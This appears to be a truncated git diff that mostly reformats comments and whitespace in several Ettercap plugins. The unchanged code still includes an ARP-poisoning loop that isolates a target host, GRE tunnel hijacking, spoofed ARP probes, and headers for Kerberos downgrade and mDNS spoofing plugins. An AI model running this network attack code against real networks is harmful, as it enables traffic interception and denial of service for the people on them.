-#else - u_int8 version:4; - u_int8 ihl:4; + u_int8 ihl : 4; + u_int8 version : 4; +#else + u_int8 version : 4; + u_int8 ihl : 4; #endif - u_int8 tos; - u_int16 tot_len; - u_int16 id; - u_int16 frag_off; + u_int8 tos; + u_int16 tot_len; + u_int16 id; + u_int16 frag_off; #define IP_DF 0x4000 #define IP_MF 0x2000 #define IP_FRAG 0x1fff - u_int8 ttl; - u_int8 protocol; - u_int16 csum; - u_int32 saddr; - u_int32 daddr; + u_int8 ttl; + u_int8 protocol; + u_int16 csum; + u_int32 saddr; + u_int32 daddr; /*The options start here. */ }; - #ifdef WITH_IPV6 struct ip6_header { #ifndef WORDS_BIGENDIAN - u_int8 version:4; - u_int8 priority:4; + u_int8 version : 4; + u_int8 priority : 4; #else - u_int8 priority:4; - u_int8 version:4; + u_int8 priority : 4; + u_int8 version : 4; #endif - u_int8 flow_lbl[3]; - u_int16 payload_len; - u_int8 next_hdr; - u_int8 hop_limit; + u_int8 flow_lbl[3]; + u_int16 payload_len; + u_int8 next_hdr; + u_int8 hop_limit; - u_int8 saddr[IP6_ADDR_LEN]; - u_int8 daddr[IP6_ADDR_LEN]; + u_int8 saddr[IP6_ADDR_LEN]; + u_int8 daddr[IP6_ADDR_LEN]; }; struct icmp6_nsol { @@ -74,7 +72,6 @@ struct icmp6_nsol { }; #endif - /* globals */ struct ip_addr fake_ip; @@ -88,37 +85,37 @@ static void parse_arp(struct packet_object *po); static void parse_nd(struct packet_object *po); /* plugin operations */ -struct plugin_ops gre_relay_ops = { +struct plugin_ops gre_relay_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "gre_relay", - /* a short description of the plugin (max 50 chars) */ - .info = "Tunnel broker for redirected GRE tunnels", - /* the plugin version. */ - .version = "1.1", + .name = "gre_relay", + /* a short description of the plugin (max 50 chars) */ + .info = "Tunnel broker for redirected GRE tunnels", + /* the plugin version. */ + .version = "1.1", /* activation function */ - .init = &gre_relay_init, - /* deactivation function */ - .fini = &gre_relay_fini, + .init = &gre_relay_init, + /* deactivation function */ + .fini = &gre_relay_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &gre_relay_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int gre_relay_init(void *dummy) +static int gre_relay_init(void *dummy) { char tmp[MAX_ASCII_ADDR_LEN]; /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -130,7 +127,7 @@ static int gre_relay_init(void *dummy) GBL_OPTIONS->quiet = 1; memset(tmp, 0, sizeof(tmp)); - + ui_input("Unused IP address: ", tmp, sizeof(tmp), NULL); /* convert IP string into ip_addr struct */ @@ -140,21 +137,20 @@ static int gre_relay_init(void *dummy) } USER_MSG("gre_relay: plugin running...\n"); - + hook_add(HOOK_PACKET_GRE, &parse_gre); hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); #ifdef WITH_IPV6 hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_nd); #endif - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int gre_relay_fini(void *dummy) +static int gre_relay_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("gre_relay: plugin terminated...\n"); @@ -176,44 +172,42 @@ static void parse_gre(struct packet_object *po) #ifdef WITH_IPV6 struct ip6_header *ip6h; #endif - + /* Chek if this is a packet for our fake host */ - if (!(po->flags & PO_FORWARDABLE)) - return; + if (!(po->flags & PO_FORWARDABLE)) + return; - if ( ip_addr_cmp(&po->L3.dst, &fake_ip) ) + if (ip_addr_cmp(&po->L3.dst, &fake_ip)) return; - - if ( po->L3.header == NULL) + + if (po->L3.header == NULL) return; /* Switch source and dest IP address */ switch (ntohs(po->L3.dst.addr_type)) { - case AF_INET: - iph = (struct ip_header*)po->L3.header; - iph->daddr = iph->saddr; - iph->saddr = fake_ip.addr32[0]; - /* Increase ttl */ - iph->ttl = 128; - break; + case AF_INET: + iph = (struct ip_header *)po->L3.header; + iph->daddr = iph->saddr; + iph->saddr = fake_ip.addr32[0]; + /* Increase ttl */ + iph->ttl = 128; + break; #ifdef WITH_IPV6 - case AF_INET6: - ip6h = (struct ip6_header*)po->L3.header; - ip_addr_cpy(ip6h->daddr, &po->L3.src); - ip_addr_cpy(ip6h->saddr, &fake_ip); - /* Increase ttl */ - ip6h->hop_limit = 128; - break; + case AF_INET6: + ip6h = (struct ip6_header *)po->L3.header; + ip_addr_cpy(ip6h->daddr, &po->L3.src); + ip_addr_cpy(ip6h->saddr, &fake_ip); + /* Increase ttl */ + ip6h->hop_limit = 128; + break; #endif - default: - return; + default: + return; } - po->flags |= PO_MODIFIED; } - /* Reply to requests for our fake host */ static void parse_arp(struct packet_object *po) { @@ -225,18 +219,18 @@ static void parse_arp(struct packet_object *po) /* Reply to requests for our IPv6 fake host */ static void parse_nd(struct packet_object *po) { - struct icmp6_nsol* nsol; + struct icmp6_nsol *nsol; struct ip_addr target; - nsol = (struct icmp6_nsol*)po->L4.options; - ip_addr_init(&target, AF_INET6, (u_char*)nsol->target); + nsol = (struct icmp6_nsol *)po->L4.options; + ip_addr_init(&target, AF_INET6, (u_char *)nsol->target); if (!ip_addr_cmp(&fake_ip, &target)) send_L2_icmp6_nadv(&fake_ip, &po->L3.src, GBL_IFACE->mac, 0, po->L2.src); } + #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/gw_discover/gw_discover.c b/plug-ins/gw_discover/gw_discover.c index 2465e01de..fbfa59d1b 100644 --- a/plug-ins/gw_discover/gw_discover.c +++ b/plug-ins/gw_discover/gw_discover.c @@ -1,27 +1,26 @@ /* - gw_discover -- ettercap plugin -- find the lan gateway - - it sends a syn to a remote ip with the mac address of a local host. - if the reply comes back, we have found the gateway - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * gw_discover -- ettercap plugin -- find the lan gateway + * + * it sends a syn to a remote ip with the mac address of a local host. + * if the reply comes back, we have found the gateway + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -30,7 +29,6 @@ #include #include - /* globals */ static struct ip_addr ip; @@ -47,64 +45,62 @@ static void get_replies(struct packet_object *po); /* plugin operations */ -struct plugin_ops gw_discover_ops = { +struct plugin_ops gw_discover_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "gw_discover", - /* a short description of the plugin (max 50 chars) */ - .info = "Try to find the LAN gateway", - /* the plugin version. */ - .version = "1.0", + .name = "gw_discover", + /* a short description of the plugin (max 50 chars) */ + .info = "Try to find the LAN gateway", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &gw_discover_init, - /* deactivation function */ - .fini = &gw_discover_fini, + .init = &gw_discover_init, + /* deactivation function */ + .fini = &gw_discover_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &gw_discover_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int gw_discover_init(void *dummy) +static int gw_discover_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; - + /* wipe the global vars */ memset(&ip, 0, sizeof(struct ip_addr)); if (get_remote_target(&ip, &port) == E_SUCCESS) { /* do the actual finterprinting */ - do_discover(); + do_discover(); } - + return PLUGIN_FINISHED; } - -static int gw_discover_fini(void *dummy) +static int gw_discover_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; return PLUGIN_FINISHED; } /*********************************************************/ - -/* - * get the remote ip from user input +/* + * get the remote ip from user input */ static int get_remote_target(struct ip_addr *p_ip, u_int16 *p_port) { @@ -112,14 +108,14 @@ static int get_remote_target(struct ip_addr *p_ip, u_int16 *p_port) char ipstr[MAX_ASCII_ADDR_LEN]; memset(input, 0, sizeof(input)); - + /* get the user input */ ui_input("Insert remote IP:PORT : ", input, sizeof(input), NULL); /* no input was entered */ if (strlen(input) == 0) return -E_INVALID; - + /* get the hostname */ if (ec_strsplit_ipport(input, ipstr, p_port)) return -E_INVALID; @@ -135,7 +131,6 @@ static int get_remote_target(struct ip_addr *p_ip, u_int16 *p_port) return -E_INVALID; } - /* * send the SYN packet to the target */ @@ -144,31 +139,30 @@ static void do_discover(void) char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; - + /* convert the in ascii ip address */ ip_addr_ntoa(&ip, tmp); /* add the hook to collect tcp SYN+ACK packets */ hook_add(HOOK_PACKET_TCP, &get_replies); - + INSTANT_USER_MSG("\nRemote target is %s:%d...\n\n", tmp, port); - + LIST_FOREACH(h, &GBL_HOSTLIST, next) { - + INSTANT_USER_MSG("Sending the SYN packet to %-15s [%s]\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); - + /* send the syn packet */ send_tcp_ether(h->mac, &GBL_IFACE->ip, &ip, htons(EC_MAGIC_16), htons(port), 0xabadc0de, 0xabadc0de, TH_SYN); } - + /* wait some time for slower replies */ ec_usleep(SEC2MICRO(3)); - + INSTANT_USER_MSG("\n"); /* remove the hook */ hook_del(HOOK_PACKET_TCP, &get_replies); - } /* @@ -179,13 +173,13 @@ static void get_replies(struct packet_object *po) char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; - + /* skip non syn ack packets */ - if ( !(po->L4.flags & (TH_SYN | TH_ACK)) ) + if (!(po->L4.flags & (TH_SYN | TH_ACK))) return; - + /* the source ip is diffent */ - if ( ip_addr_cmp(&po->L3.src, &ip)) + if (ip_addr_cmp(&po->L3.src, &ip)) return; /* this is not the requested connection */ @@ -198,10 +192,8 @@ static void get_replies(struct packet_object *po) INSTANT_USER_MSG("[%s] %s is probably a gateway for the LAN\n", mac_addr_ntoa(po->L2.src, tmp2), ip_addr_ntoa(&h->ip, tmp)); } } - } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/isolate/isolate.c b/plug-ins/isolate/isolate.c index fb64f0355..6bdcc508b 100644 --- a/plug-ins/isolate/isolate.c +++ b/plug-ins/isolate/isolate.c @@ -1,24 +1,23 @@ /* - isolate -- ettercap plugin -- Isolate an host from the lan - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * isolate -- ettercap plugin -- Isolate an host from the lan + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -43,47 +42,47 @@ EC_THREAD_FUNC(isolate); /* plugin operations */ -struct plugin_ops isolate_ops = { +struct plugin_ops isolate_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "isolate", - /* a short description of the plugin (max 50 chars) */ - .info = "Isolate an host from the lan", - /* the plugin version. */ - .version = "1.0", + .name = "isolate", + /* a short description of the plugin (max 50 chars) */ + .info = "Isolate an host from the lan", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &isolate_init, - /* deactivation function */ - .fini = &isolate_fini, + .init = &isolate_init, + /* deactivation function */ + .fini = &isolate_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &isolate_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int isolate_init(void *dummy) +static int isolate_init(void *dummy) { struct ip_list *t; /* variable not used */ - (void) dummy; + (void)dummy; /* sanity check */ if (LIST_EMPTY(&GBL_TARGET1->ips) && LIST_EMPTY(&GBL_TARGET1->ip6)) { INSTANT_USER_MSG("isolate: please specify the TARGET host\n"); return PLUGIN_FINISHED; } - - /* + + /* * we'll use arp request to detect the hosts the victim - * is trying to contact. + * is trying to contact. */ hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); @@ -91,32 +90,31 @@ static int isolate_init(void *dummy) LIST_FOREACH(t, &GBL_TARGET1->ips, next) { ec_thread_new("isolate", "Isolate thread", &isolate, t); } - - return PLUGIN_RUNNING; -} + return PLUGIN_RUNNING; +} -static int isolate_fini(void *dummy) +static int isolate_fini(void *dummy) { pthread_t pid; struct hosts_list *h, *tmp; - + /* variable not used */ - (void) dummy; + (void)dummy; /* remove the hook */ hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); - - /* get those pids and kill 'em all */ - while(!pthread_equal(pid = ec_thread_getpid("isolate"), EC_PTHREAD_NULL)) - ec_thread_destroy(pid); - + + /* get those pids and kill 'em all */ + while (!pthread_equal(pid = ec_thread_getpid("isolate"), EC_PTHREAD_NULL)) + ec_thread_destroy(pid); + /* free the list */ LIST_FOREACH_SAFE(h, &victims, next, tmp) { SAFE_FREE(h); LIST_REMOVE(h, next); } - + return PLUGIN_FINISHED; } @@ -127,7 +125,7 @@ static void parse_arp(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; struct ip_list *t, *h; - /* + /* * this is the mac address used to isolate the host. * usually is the same as the victim, but can be an * non-existent one. @@ -137,16 +135,16 @@ static void parse_arp(struct packet_object *po) LIST_FOREACH(h, &GBL_TARGET1->ips, next) { /* process only arp requests from this host */ - if (!ip_addr_cmp(&h->ip, &po->L3.src)) { + if (!ip_addr_cmp(&h->ip, &po->L3.src)) { int good = 0; - + /* is good if target 2 is any or if it is in the target 2 list */ - if(GBL_TARGET2->all_ip) { + if (GBL_TARGET2->all_ip) { good = 1; } else { - LIST_FOREACH(t, &GBL_TARGET2->ips, next) - if (!ip_addr_cmp(&t->ip, &po->L3.dst)) - good = 1; + LIST_FOREACH(t, &GBL_TARGET2->ips, next) + if (!ip_addr_cmp(&t->ip, &po->L3.dst)) + good = 1; } /* add to the list if good */ @@ -168,17 +166,17 @@ static int add_to_victims(struct packet_object *po) /* search if it was already inserted in the list */ LIST_FOREACH(h, &victims, next) - if (!ip_addr_cmp(&h->ip, &po->L3.src)) - return -E_NOTHANDLED; - + if (!ip_addr_cmp(&h->ip, &po->L3.src)) + return -E_NOTHANDLED; + SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); - + memcpy(&h->ip, &po->L3.dst, sizeof(struct ip_addr)); /* insert in the list with the mac address of the requester */ memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); - + LIST_INSERT_HEAD(&victims, h, next); - + return E_SUCCESS; } @@ -189,26 +187,26 @@ EC_THREAD_FUNC(isolate) { struct hosts_list *h; struct ip_list *t; - + /* init the thread and wait for start up */ ec_thread_init(); - + /* get the host to be isolated */ t = args; - + /* never ending loop */ LOOP { - + CANCELLATION_POINT(); - + /* walk the lists and poison the victims */ LIST_FOREACH(h, &victims, next) { /* send the fake arp message */ send_arp(ARPOP_REPLY, &h->ip, h->mac, &t->ip, h->mac); - + ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); } - + /* sleep between two storms */ ec_usleep(SEC2MICRO(GBL_CONF->arp_poison_warm_up * 3)); } @@ -219,4 +217,3 @@ EC_THREAD_FUNC(isolate) /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/krb5_downgrade/krb5_downgrade.c b/plug-ins/krb5_downgrade/krb5_downgrade.c index b603441d8..1fbb6352c 100644 --- a/plug-ins/krb5_downgrade/krb5_downgrade.c +++ b/plug-ins/krb5_downgrade/krb5_downgrade.c @@ -1,24 +1,24 @@ /* - krb5_downgrade -- ettercap plugin - Downgrades Kerberos V5 security by - modifying AS-REQ packets - - Copyright (C) Dhiru Kholia (dhiru at openwall.com) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - This file borrows boilerplate code from the smb_down plugin. + * krb5_downgrade -- ettercap plugin - Downgrades Kerberos V5 security by + * modifying AS-REQ packets + * + * Copyright (C) Dhiru Kholia (dhiru at openwall.com) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * This file borrows boilerplate code from the smb_down plugin. */ #include @@ -28,38 +28,38 @@ #include /* https://cwiki.apache.org/confluence/display/DIRxASN1/Kerberos - - KDC-REQ ::= SEQUENCE { - -- NOTE: first tag is [1], not [0] - pvno [1] INTEGER (5) , - msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), - padata [3] SEQUENCE OF PA-DATA OPTIONAL - -- NOTE: not empty --, - req-body [4] KDC-REQ-BODY - } - - KDC-REQ-BODY ::= SEQUENCE { - kdc-options [0] KDCOptions, - cname [1] PrincipalName OPTIONAL - -- Used only in AS-REQ --, - realm [2] Realm - -- Server's realm - -- Also client's in AS-REQ --, - sname [3] PrincipalName OPTIONAL, - from [4] KerberosTime OPTIONAL, - till [5] KerberosTime, - rtime [6] KerberosTime OPTIONAL, - nonce [7] UInt32, - etype [8] SEQUENCE OF Int32 -- EncryptionType - -- in preference order --, - addresses [9] HostAddresses OPTIONAL, - enc-authorization-data [10] EncryptedData OPTIONAL - -- AuthorizationData --, - additional-tickets [11] SEQUENCE OF Ticket OPTIONAL - -- NOTE: not empty - } - - AS-REQ ::= [APPLICATION 10] KDC-REQ */ + * + * KDC-REQ ::= SEQUENCE { + * -- NOTE: first tag is [1], not [0] + * pvno [1] INTEGER (5) , + * msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), + * padata [3] SEQUENCE OF PA-DATA OPTIONAL + * -- NOTE: not empty --, + * req-body [4] KDC-REQ-BODY + * } + * + * KDC-REQ-BODY ::= SEQUENCE { + * kdc-options [0] KDCOptions, + * cname [1] PrincipalName OPTIONAL + * -- Used only in AS-REQ --, + * realm [2] Realm + * -- Server's realm + * -- Also client's in AS-REQ --, + * sname [3] PrincipalName OPTIONAL, + * from [4] KerberosTime OPTIONAL, + * till [5] KerberosTime, + * rtime [6] KerberosTime OPTIONAL, + * nonce [7] UInt32, + * etype [8] SEQUENCE OF Int32 -- EncryptionType + * -- in preference order --, + * addresses [9] HostAddresses OPTIONAL, + * enc-authorization-data [10] EncryptedData OPTIONAL + * -- AuthorizationData --, + * additional-tickets [11] SEQUENCE OF Ticket OPTIONAL + * -- NOTE: not empty + * } + * + * AS-REQ ::= [APPLICATION 10] KDC-REQ */ /* protos */ int plugin_load(void *); diff --git a/plug-ins/link_type/link_type.c b/plug-ins/link_type/link_type.c index e4f335a60..55f477ebc 100644 --- a/plug-ins/link_type/link_type.c +++ b/plug-ins/link_type/link_type.c @@ -1,26 +1,25 @@ /* - link_type -- ettercap plugin -- Check the link type (hub\switch) - - it sends a spoofed arp request and waits for a reply - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * link_type -- ettercap plugin -- Check the link type (hub\switch) + * + * it sends a spoofed arp request and waits for a reply + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -30,7 +29,6 @@ #include #include - /* globals */ #define LINK_HUB 0 #define LINK_SWITCH 1 @@ -49,38 +47,38 @@ static void parse_arp(struct packet_object *po); /* plugin operations */ -struct plugin_ops link_type_ops = { +struct plugin_ops link_type_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "link_type", - /* a short description of the plugin (max 50 chars) */ - .info = "Check the link type (hub/switch)", - /* the plugin version. */ - .version = "1.0", + .name = "link_type", + /* a short description of the plugin (max 50 chars) */ + .info = "Check the link type (hub/switch)", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &link_type_init, - /* deactivation function */ - .fini = &link_type_fini, + .init = &link_type_init, + /* deactivation function */ + .fini = &link_type_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &link_type_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int link_type_init(void *dummy) +static int link_type_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - ec_thread_new("link_type", "plugin link_type", - &link_type_thread, NULL); + ec_thread_new("link_type", "plugin link_type", + &link_type_thread, NULL); return PLUGIN_RUNNING; } @@ -88,14 +86,14 @@ static int link_type_init(void *dummy) static EC_THREAD_FUNC(link_type_thread) { /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; u_char counter = 0; struct hosts_list *h; - + ec_thread_init(); PLUGIN_LOCK(link_type_mutex); - + /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; @@ -107,7 +105,7 @@ static EC_THREAD_FUNC(link_type_thread) return PLUGIN_FINISHED; } - /* Performs some checks */ + /* Performs some checks */ if (GBL_PCAP->dlt != IL_TYPE_ETH) { INSTANT_USER_MSG("link_type: This plugin works only on ethernet networks\n\n"); PLUGIN_UNLOCK(link_type_mutex); @@ -121,7 +119,7 @@ static EC_THREAD_FUNC(link_type_thread) plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } - + /* Take (if any) first two elements form the host list */ LIST_FOREACH(h, &GBL_HOSTLIST, next) { memcpy(&(targets[counter].ip), &h->ip, sizeof(struct ip_addr)); @@ -130,7 +128,7 @@ static EC_THREAD_FUNC(link_type_thread) if (counter == 2) break; } - + if (counter == 0) { INSTANT_USER_MSG("link_type: You have to build host list to run this plugin\n\n"); PLUGIN_UNLOCK(link_type_mutex); @@ -138,27 +136,27 @@ static EC_THREAD_FUNC(link_type_thread) return PLUGIN_FINISHED; } - /* - * If we have only one element in the host list - * use target mac address and our ip as source + /* + * If we have only one element in the host list + * use target mac address and our ip as source */ - if (counter == 1) { - INSTANT_USER_MSG("link_type: Only one host in the list. Check will be less reliable\n\n"); + if (counter == 1) { + INSTANT_USER_MSG("link_type: Only one host in the list. Check will be less reliable\n\n"); memcpy(&(targets[1].ip), &GBL_IFACE->ip, sizeof(struct ip_addr)); - memcpy(targets[1].mac, targets[0].mac, MEDIA_ADDR_LEN); + memcpy(targets[1].mac, targets[0].mac, MEDIA_ADDR_LEN); } /* We assume switch by default */ - linktype = LINK_SWITCH; + linktype = LINK_SWITCH; INSTANT_USER_MSG("link_type: Checking link type...\n"); - + /* Add the hook to collect ARP replies from the victim */ hook_add(HOOK_PACKET_ARP, &parse_arp); /* Send bogus ARP request */ - send_arp(ARPOP_REQUEST, &(targets[1].ip), targets[1].mac, &(targets[0].ip), targets[0].mac); - + send_arp(ARPOP_REQUEST, &(targets[1].ip), targets[1].mac, &(targets[0].ip), targets[0].mac); + /* wait for the response */ ec_usleep(SEC2MICRO(1)); @@ -170,24 +168,23 @@ static EC_THREAD_FUNC(link_type_thread) INSTANT_USER_MSG("SWITCH\n\n"); else INSTANT_USER_MSG("HUB\n\n"); - + PLUGIN_UNLOCK(link_type_mutex); plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } - -static int link_type_fini(void *dummy) +static int link_type_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; pthread_t pid; pid = ec_thread_getpid("link_type"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) - ec_thread_destroy(pid); + ec_thread_destroy(pid); INSTANT_USER_MSG("link_type: plugin terminated...\n"); @@ -203,8 +200,6 @@ static void parse_arp(struct packet_object *po) linktype = LINK_HUB; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/mdns_spoof/mdns_spoof.c b/plug-ins/mdns_spoof/mdns_spoof.c index 0cc49fd48..acb426f13 100644 --- a/plug-ins/mdns_spoof/mdns_spoof.c +++ b/plug-ins/mdns_spoof/mdns_spoof.c @@ -1,23 +1,23 @@ /* - mdns_spoof -- ettercap plugin -- spoofs mdns replies - - Copyright (C) Ettercap Development Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * mdns_spoof -- ettercap plugin -- spoofs mdns replies + * + * Copyright (C) Ettercap Development Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -36,16 +36,16 @@ #define MDNS_QU_FLAG 0x8000 struct mdns_header { - uint16_t id; - uint16_t flags; - uint16_t questions; - uint16_t answer_rrs; - uint16_t auth_rrs; - uint16_t additional_rrs; + uint16_t id; + uint16_t flags; + uint16_t questions; + uint16_t answer_rrs; + uint16_t auth_rrs; + uint16_t additional_rrs; }; struct mdns_spoof_entry { - int type; /* ns_t_a, ns_t_ptr, ns_t_srv */ + int type; /* ns_t_a, ns_t_ptr, ns_t_srv */ char *name; struct ip_addr ip; u_int16 port; /* for SRV records */ @@ -66,59 +66,58 @@ static int get_spoofed_a(const char *a, struct ip_addr **ip); static int get_spoofed_aaaa(const char *a, struct ip_addr **ip); static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip); static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port); -static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply); +static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, struct ip_addr **target, u_int8 **tmac, struct ip_addr *reply); char *type_str(int type); static void mdns_spoof_dump(void); /* plugin operations */ -struct 